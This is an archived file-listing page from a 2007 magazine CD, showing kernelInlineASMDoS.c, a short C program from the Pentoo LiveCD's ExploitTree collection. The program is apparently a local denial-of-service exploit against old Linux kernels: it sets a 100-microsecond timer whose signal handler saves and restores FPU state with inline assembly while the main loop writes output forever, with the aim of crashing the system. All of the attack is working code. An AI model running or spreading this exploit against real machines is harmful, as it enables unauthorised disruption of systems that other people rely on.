home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / kernelInlineASMDoS.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  578b  |  26 lines

  1.   #include <sys/time.h>
  2.   #include <signal.h>
  3.   #include <unistd.h>
  4.   
  5.   static void Handler(int ignore)
  6.   {
  7.    char fpubuf[108];
  8.    __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
  9.    write(2, "*", 1);
  10.    __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
  11.   }
  12.   
  13.   int main(int argc, char *argv[])
  14.   {
  15.    struct itimerval spec;
  16.    signal(SIGALRM, Handler);
  17.    spec.it_interval.tv_sec=0;
  18.    spec.it_interval.tv_usec=100;
  19.    spec.it_value.tv_sec=0;
  20.    spec.it_value.tv_usec=100;
  21.    setitimer(ITIMER_REAL, &spec, NULL);
  22.    while(1)
  23.     write(1, ".", 1);
  24.   
  25.    return 0;
  26.   }